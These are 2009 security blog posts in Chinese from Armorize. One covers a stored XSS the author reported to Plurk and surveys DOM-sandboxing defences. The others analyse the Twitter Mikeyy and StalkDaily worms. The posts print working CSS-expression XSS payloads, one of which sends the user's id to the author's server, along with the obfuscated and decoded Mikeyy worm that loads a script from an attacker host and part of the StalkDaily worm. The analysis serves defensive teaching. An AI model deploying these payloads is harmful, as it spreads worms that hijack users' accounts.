阿碼外傳-阿碼科技非官方中文 Blog: rsnake 的搜尋結果
針對查詢「rsnake」依日期排序顯示文章。依關聯性排序 顯示所有文章
針對查詢「rsnake」依日期排序顯示文章。依關聯性排序 顯示所有文章

2009年6月27日

誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)


上星期天下午,下大雨,沒法出去,隨手開了Plurk,想到了Plurk之前公開的「XSS挑戰」,只要找到漏洞,證明並回報的噗友,就有Plurk hacker勳章可以拿,之前我也很快地寫了一隻蠕蟲demo並回報。(不用懷疑,當然沒有真的拿來使用)

開了瀏覽器,沒有用什麼工具,就徒手在瀏覽器上玩來玩去,結果一下子,找到一個預存式XSS(stored cross-site scripting,因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊,又稱預存式XSS),寫了一小段poc程式,確定可以偷cookie,然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報,但又覺得這些東西沒什麼新意,這樣回報很無聊。可是那寫什麼demo來回報呢?

這時突然想到以前的irc機器人,好吧,那就寫一個跟irc一樣的自動打招呼機器人好了,順便回味一下irc的年代。直接在瀏覽器上寫完,還真的可以用,只要在有登入噗浪的狀態下,用IE(<=7)來訪問我的Plurk頁面,機器人都會自動跟您打個招呼(不會偷cookie)。寫完把範例程式寄給Plurk,真快,不到一小時就收到回信,不到一天就改好了,這種速度比起其他網站,真是夠快了。問了他們可否寫篇blog,Plurk說沒問題,反正都修好了,嗯,謝謝,真是很nice!

整個測試的過程中,我一直想到「以 DOM 為基礎之沙盒(DOM-based sandboxing)」之概念。XSS(cross-site scripting,跨網站腳本漏洞)根本不應該這麼難預防的;問題主要出在當初W3C與瀏覽器團隊在定義各種規格時,真的太少考慮到資安的需求了。也或許是這樣,才造就了Web與Web 2.0這麼快速的成長吧(限制很少,很好學,很好寫)!以這次回報的XSS來說,DOM-based sandboxing(DBS)是最直覺的解決方式;我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一,是可以自己寫(或上傳)CSS,讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」,按下去並選擇「Customize profile」,就可以自己填入CSS。上次我回報蠕蟲漏洞,主要是那時幫朋友改code,接觸到Plurk API,而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩,wow,可以自己寫CSS,那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點,可以參考RSnakeXSS Cheat Sheet;以IE(<=7)為例,主要可說有兩種:

1. CSS 內可造成 javascript 執行,範例如:

body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行,範例如

body {background-image: expression(alert("XSS"));}

(範例一)

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css;可以是後端程式產生,寫死在 HTML 裡,可以是前端 javascript 以document.write()方式動態產生,也可以是前端javascript以動態建構出新的 DOM 元素(element)來產生。看一下Plurk的源碼,可以發現產生方式如下:

B = document.createElement("link");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
document.getElementsByTagName("head")[0].appendChild(B);
(程式一)

根據RSnakeXSS Cheat Sheet,(範例一)中的攻擊點(1),只對IE6有效,那我們先選攻擊點(2)「expression」來試看看好了,在介面中填入:

body {background-image: expression(alert("XSS"));}
(程式二)

(暗:(1)真的只對IE6有效嗎? ;) )

按下「Save and update」,果然有過濾,CSS中不能有「expression」,也不能有「javascript」或「@import」等關鍵字。

嗯嗯,大概是用正規表示式過濾的吧!那把「expression」改成「Expression」呢?Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題;這麼簡單一點小疏失,就會造成了一個預存式XSS,不但可以偷餅乾,更適合寫蠕蟲;事實上,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡這裡這裡),都是利用了使用者profile中的預存式XSS,只要訪問了受感染使用者的頁面,就會被感染。以MySpace為例,當時以上(1)與(2)兩個攻擊點都存在,而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧:

body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}
(程式三)

上面這個程式中,我們用夾帶在body中的Expression寫javascript,動態產生一個image,其url為:http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot(hello.php),並夾帶兩個參數,分別取自Plurk的javascript程式中的變數:GLOBAL.session_user.uid為目前使用者的id,而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式?因為Plurk會將「&」htmlencode成&amp;,所以乾脆改成只用一個參數「x」,資料則用[]來隔開。

後端hello.php程式如下:

<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true; $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0]; $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";

$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
$plurk = new RLPlurkAPI();
$plurk->login($nick_name, $password);
$rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
$rand_num = rand(0, count($rand_msg)-1);

$msg = $rand_msg[$rand_num]."@".$g_nick."!";
if ($publicplurk)
$plurk->addPlurk('en', 'says', $msg);
else
$plurk->addPlurk('en', 'says', $msg, true, array($g_id));
echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
$visitors = array();
$visitors = read_file($filename, 50000);
$visitors_set = array();
$ip_set = array();
foreach ($visitors as $value) {
preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
}

if (!$error_log) {
if (array_key_exists($id, $visitors_set)) {
$last_time = strtotime($visitors_set[$id]);
if ((time()-$last_time)<3600) {$errorlog="same id";}
}
if (array_key_exists($ip, $ip_set)) {
$last_time = strtotime($ip_set[$ip]);
if ((time()-$last_time)<3600) {$errorlog="same ip";}
}
}
// id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
$json = new Services_JSON();
$value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

if ($value->nick_name!=$nick) $errorlog="id nick mismatch";

$fh = fopen($filename, 'a');
$logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
fwrite($fh, $logstr);
fclose($fh);
$fh = fopen($filename2, 'a');
$logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
fwrite($fh, $logstr);
fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
$handle = fopen($file, "r");
$linecounter = $lines;
$pos = -2;
$beginning = false;
$text = array();
while ($linecounter > 0) {
$t = " ";
while ($t != "\n") {
if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true;
break;
}
$t = fgetc($handle);
$pos --;
}
$linecounter --;
if($beginning) rewind($handle);
$text[$lines-$linecounter-1] = fgets($handle);
if($beginning) break;
}
fclose ($handle);
return $text;
}

function get_my_password($nick, &$pass) {
$accounts = parse_ini_file("log/accounts.ini");
if (array_key_exists($nick, $accounts)) {
$pass = $accounts[$nick]; return true;
} else return false;
}

?></body></html>
(程式四)

主要程式為29行至41行,基本上就是利用Plurk API發一個噗,跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗,如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發:Welcome, nick_name,那麼別人直接hello.php?x=[][I'm an idiot],發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php,我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事,機器人檢查:

1. referer要是www.plurk.com (22行,當然只能防君子)
2. id要跟nick對應,這是為何當出id與nick兩個參數都要傳給hello.php的原因 (65-67行)
3. 同一個id來訪,每一個小時只噗一次 (55-58行)
4. 同一個IP來訪,每一個小時只噗一次 (59-63行)

這樣除非真的有人閒到註冊一個Plurk帳號,取一個nick代表他想讓機器人噗的訊息,例如帳號是「I_am_an_idiot」,那麼機器人就會噗:「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧?結果就真的發生了 XDDDDDD

程式很快寫好了,自己玩了一下,確定可以work。發現我的PHP已經生鏽了,但是還是立刻email給Plurk。過了一天,Plurk修正了。是不是真的修對了?還沒時間仔細看,不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動,我也忙別的去了。

星期六晚上,看到朋友留的msn,說我的plurk一直跟「XSS」打招呼,趕快上去看了一下:

咦,我的噗浪頁面人氣幾乎都是零,怎麼這個XSS對我那麼有興趣?忙完事情又過了幾個小時,回來一看,XSS註冊了一個I_know_Armorize_sucks,嗯嗯,好好...看一下XSS這個帳號,沒朋友,看不出是誰,這麼神秘,怎麼查呢...

其實不用啦,圈子就這麼點大,跟我一樣無聊,週末不出去玩掛在網路上,半夜不睡覺來我的噗浪,然後還很有閒註冊這樣的噗浪帳號...ao大與px大,你們好啊,歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS,腦袋就停不下來一直想DOM sandboxing,以及今年Robert Morris帶學生做的一篇論文:「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),今年四月發表於EuroSys'09(德國)。Robert Morris(rtm)的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時,釋放了Morris蠕蟲(Morris worm),為最早的蠕蟲之一,造成Internet癱瘓,他父親差點因此而丟了工作,當然rtm本身也被起訴,最後罰了一些錢以及社會服務。有趣的是,當時rtm是由MIT(麻省理工學院)而非自己就讀的Cornell網路來釋放蠕蟲,試圖混淆追中,而他目前則是MIT的教授,此篇論文是他帶學生在MIT做的。

從(程式二)中我們可以看到,Plurk是利用javascript動態地產生一個「link」元件,然後將role利用「rel」指定成「stylesheet」,將mime-type利用「type」設定成「text/css」,最後將css來源用「href」設定好,使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多,譬如很多人喜歡用最簡單的doument.write()方式,但是用document.write(),就像是把字串連起來組成一個SQL指令一樣,沒有參數化的概念,即使有過濾,仍有風險。以資安的角度來看,Plurk的方式則含有參數化的概念,為較佳的建構方式。

可是我們仔細想想,Plurk用javascript建構此「link」元件時,就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working GroupWHATWG讓HTML規格有支援(或瀏覽器開發團隊直接讓瀏覽器有支援)DOM sandboxing,那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下:

1. 每一個DOM元素都有一個attribute叫做「sandbox」,裡頭可以設多重限制,利用空白隔開,例如:

<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript,或甚至:

<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute,可以被javascript設定,但是每次設定只能增加限制,而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute,並根據(2),只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing,不過大概就是這種概念。如果有這種支援,那麼Plurk可以將程式改成:

B = document.createElement("link");
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);
(程式五)

這樣子的話,即使後端程式沒有過濾好,瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出,但是記憶中開始比較多人講,應該是2007年。學界中做Web研究,最好的會議之一是WWW,為ACM與W3C合辦,每年5月舉行(我們於'03與'04投上過兩次,兩次都被提名當年最佳論文)。WWW 2007有一篇令我印象深刻,馬大與AT&T合作的:「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」,或稱BEEP(計畫網頁paper投影片)。BEEP提出了一個javascript hook的概念,利用javascript hook來檢查合法與非法的javascript,並決定何者可以執行。此模型並不漂亮,用javascript hook來描述表達一個網頁的安全模型,太過繁瑣,等於把很多工作加諸於Web程式設計師,這樣不但難用,風險也大。另外,此作法必須修改瀏覽器。雖然有這些缺點,BEEP卻是很早就提出DOM sandboxing概念,故有其參考性。

2007年我記得的另一篇,是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生,拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念,在實做上可以利用修改既有的前端ajax framework來達成,而不需要修改瀏覽器;在實做上,Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單,延續javascript的相同來源政策(same origin policy),對於每一個DOM元素多定義一個attribute:「pricipal」,只有相同principal的元素才能彼此存取。這樣的sandboxing很好用,譬如可以定義網頁的廣告區不能存取其他區域以及cookie,但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近,也都是很好的會議,算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI,Livshits提到用源碼檢測來找出Web應用程式漏洞時,引述WebSSARI說:「The WebSSARI project pioneered this line of research(WebSSARI計畫開創出了這一系列的研究)」。最近很多競爭對手抹黑我們是:「不知哪裡冒出來的一群hackers」。對,我們是hackers沒錯,但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時,WHATWG的list上就已經蠻多關於DOM sandboxing的討論,RSnake就於也在8月時於其blog上寫了一篇:「Content Restrictions - A Call For Input」,徵求大家對於DOM sandboxing的意見,也引來廣泛的討論。

經過了兩年,回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),可以發現這方面研究進步了不少。BFlow的安全模型,是由瀏覽器動態地控管資料的流動,來避免資料被不當的取得。現在很多網頁都允許widget,這個模型就很適合,以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget,而BFlow的模型就可以限制這些widget對於資料的存取。例如以下,BFlow動態追蹤不同DOM元素間資料的存取與交換,如果一個外部widget沒有存取到被定義為機密的資料,那麼允許往外部網站發request(例如img),反之,則限制所有發出的request只能發給機密資料所屬的網站。


BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢?BFlow與WebSSARI一樣,採用1976年由Denning-Denning定義的lattice model,來決定結合後的新安全限制。

從剛才談到現在,我們自己提出了(程式五),也談了Livshits、BEEP以及Morris的解法。有趣的是,這四種解法,主旨都不在「過濾」或「偵測」惡意的字串,而在「限制」非法程式能執行的範圍。在以上四個例子中,惡意字串都還是會被插入合法程式中,或甚至被當成javascript執行,只是其範圍被限制住了,不能達成最終的目的,例如偷竊機密資料等行為。例如在(程式五)中,我們並沒有去判斷User_Supplied_Data所帶來的字串,是否含有惡意攻擊內容,我們只是利用程式模型配合參數化概念,限制了該DOM元素執行javascript之能力。(程式五)的解法看似漂亮,但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素,那麼又可以如何在client端避免XSS呢?今年2月的NDSS會議有兩個有趣的研究:Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI(document structure integrity)其主要的概念是,先由後端伺服器程式決定DOM的合法動態與靜態結構,那麼在client端執行時,如果發現DOM結構不符合定義,就可以假設DOM結構被惡意破壞或惡意竄改了(ex: document.write()中含有tag <script>),而禁止執行。Gundy提出的Nonspaces,其實基本概念差不多,只是實做上不同,randomization的方式也不同--Nonspaces用xml namespaces,而DSI用randomized delimeters。

都是有創意的解法,而且一個會議竟然兩篇這麼相似,表示大家想法其實都差不多。看來蠻猛的嗎?概念不錯,但是很快都被破解了。上個月的Web 2.0 Security AND Privacy(W2SP)2009會議上,來自希臘的Athanasopoulos團隊發表了一篇:「Code Injection Attacks in Browsers Supporting Policies」,對上述的DSI、Noncespaces,連帶BEEP,都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行,在於目前一個大型的網站中,DOM元素過多,要一一定義,並不容易,在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔,並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防,如果沒有講到最近Brendan Eich(Mozilla CTO)的演講,那就太可惜了。上個月的W2SP會議是由Eich開場的,題目是:「Improving JavaScript's Default Security Model Without Breaking the Web」(講義)。除了列出目前javascript安全的挑戰外,Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究(困難點之一為如何讓保持interpreter的速度)。Brendan也提及了Mozilla在這方面的一個新計畫:FlowSafe,為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦?Flanagan?沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩(Java靜態分析工具ESC/Java就是他做的),這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提,但是會議後不久,他的同事Brandon Sterne,也就是Mozilla的Security Program Manager,寫了一篇blog「Shutting Down XSS with Content Security Policy」,介紹Mozilla的CSP計畫。

CSP採白名單方式,可以讓網站定義出合法的javascript有哪些,沒有在定義內的則視為非法。CSP在使用時,要求一個網頁所有的javascript都來自外部(<script src="">),而不可內嵌。由於所有javascript都來自外部,網站管理者就可以定義合法的來源,而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣,但不論從FlowSafe或CSP中,都可以看出Mozilla在對付XSS上的努力。

縱深防禦(layered security)」是一個有用的概念,資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法,都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞,或能夠在程式中就直接避免的,應儘量先修掉。Client端的種種防禦技術,可以用來補強,或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中,漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統,在找出漏洞後,往往面臨種種因素,而無法直接、直覺或用標準方式來修復。Web資安之難,在於攻擊變化之多;漏洞修補之美,亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復,不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
系列第一篇:(本篇)誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!
繼續閱讀全文...

2009年4月19日

為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期,Mikeyy蠕蟲發威了五次,twitter也號稱將所有相關的XSS(跨網站腳本)漏洞都修復了。結果昨天Mikeyy再度發威,twitter也再度公佈,並在幾小時候宣布已經修補漏洞。沒想到18小時後,Mikeyy又重現,twitter也又趕快公佈並著手處理...(見上圖。)

這次蠕蟲來的猛,幾個小時內發出超過一萬五千封假tweet訊息:


難道說這麼簡單到不行的twitter介面,在經過一個星期後,還是無法正確修補XSS(跨網站腳本)漏洞?不...會...吧?事實上也是這樣,六代跟一至五代的XSS攻擊字串不同,證明了twitter的修補方法都是錯的,我們這邊就藉此實例來說明,為何XSS(跨網站腳本)那麼難修補?

這次的蠕蟲放在:hxxp://runebash.net/xss.js,有經過一層的混碼(obfuscation):

var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天,竟然沒有人貼出解碼後的版本(連解碼前之以上版本都找不到),真是苦命,都沒人想研究嗎?只好自己手動解一下:

function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);

var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");

} ;
setTimeout(wait(),5250);

重點在第34行,也就是這次攻擊的字串:
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩,沒錯,字串中沒有「<」或「>」或「"」等字元,當然也沒有「<script>」或「<script src=」等字串,但是還是有效達成XSS(跨網站腳本)的效果。

我們看一下被感染後使用者的原始HTML(節錄):

ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩,沒錯,這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下,其中就帶有「<script>」字串:
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 

有效防範XSS之難處在於,每個網站的架構之不同,可能造成多層的字串編解碼步驟,所以如何有效處理外來(不安全)的字串,因各網站而異,開發人員需要充分了解XSS的原理,才能有效避免。這個題目太大,晚上就要上飛機到RSA參展,目前無法寫太多,但是簡而言之,應盡量避免黑名單之使用,而採用白名單(比較資料型態,長度,合法性等)。以twitter的例子,twitter就是認為以黑名單方式過濾掉「<」或「>」或「"」等字元,就可以避免XSS了,但是當然不是這樣子,以這次六代的攻擊字串為例,其中並無包含任何以上字元,然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多,其中RSnake(ha.ckers.orgsla.ckers.org,OWASP有來台灣)的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整,可以參考。

為何說twitter是用黑名單方式?其實之前就測出來了,也有人通知,但是可能email都進垃圾信了,才會又讓Mikeyy捲土重來。其實不用測試,twitter的API手冊上,早就自己承認了:

手冊上直接說:為了避免cross-site scripting漏洞,「<」與「>」會經過編碼...這個在駭客的眼裡,其實是說:我很有可能有XSS漏洞,快來打我。黑名單絕對不是有效防止XSS(跨網站腳本)的方法。這是因為在很多情況下,是不需要「<」與「>」,甚至「"」等字元,就可以攻擊成功的。

在問題終於排除後,twitter再次宣布「問題已經控制住了(under control)」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢?



作者 Wayne 為阿碼科技CEO

後記一:因為這次網路上似乎都沒有人公開攻擊碼,剛才寫信給RSnake(ha.ckers.orgsla.ckers.org),他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區,看一下上面從Samy一路下來到都有收錄,幫他推一下,想研究XSS蠕蟲看這:http://sla.ckers.org/forum/read.php?2,14477

後記二:有朋友寫信來問,我才發現這系列幾篇中都忘記提了:注意攻擊方式是用「Post」非「Get」,很久以前的傳說:【使用「Post」非「Get」,就可以避免XSS】...當然一直都只是傳說。

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」(本篇)
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」


繼續閱讀全文...

2009年4月12日

17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的

昨天晚上開始,twitter上以驚人的速度,不斷有人抱怨被「我被StalkDaily蠕蟲攻擊了!」Twitter很紅的介面之一TweetVisor也在畫面左邊顯示警告:




不久之後,twitter公佈,這是twitter的跨站腳本攻擊(cross-site scripting,XSS)漏洞所導致的,目前已經將漏洞修掉了:



事發初期,TechCrunch有報導(很少資安新聞能夠上TechCrunch),並有網友留言公開原始XSS蠕蟲之程式碼如下:

function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true);
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete)
{
bComplete = true;
fnDone(xmlhttp);
}};
xmlhttp.send(sVars);
}
catch(z) { return false; }
return true;
};
return this;
}

function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

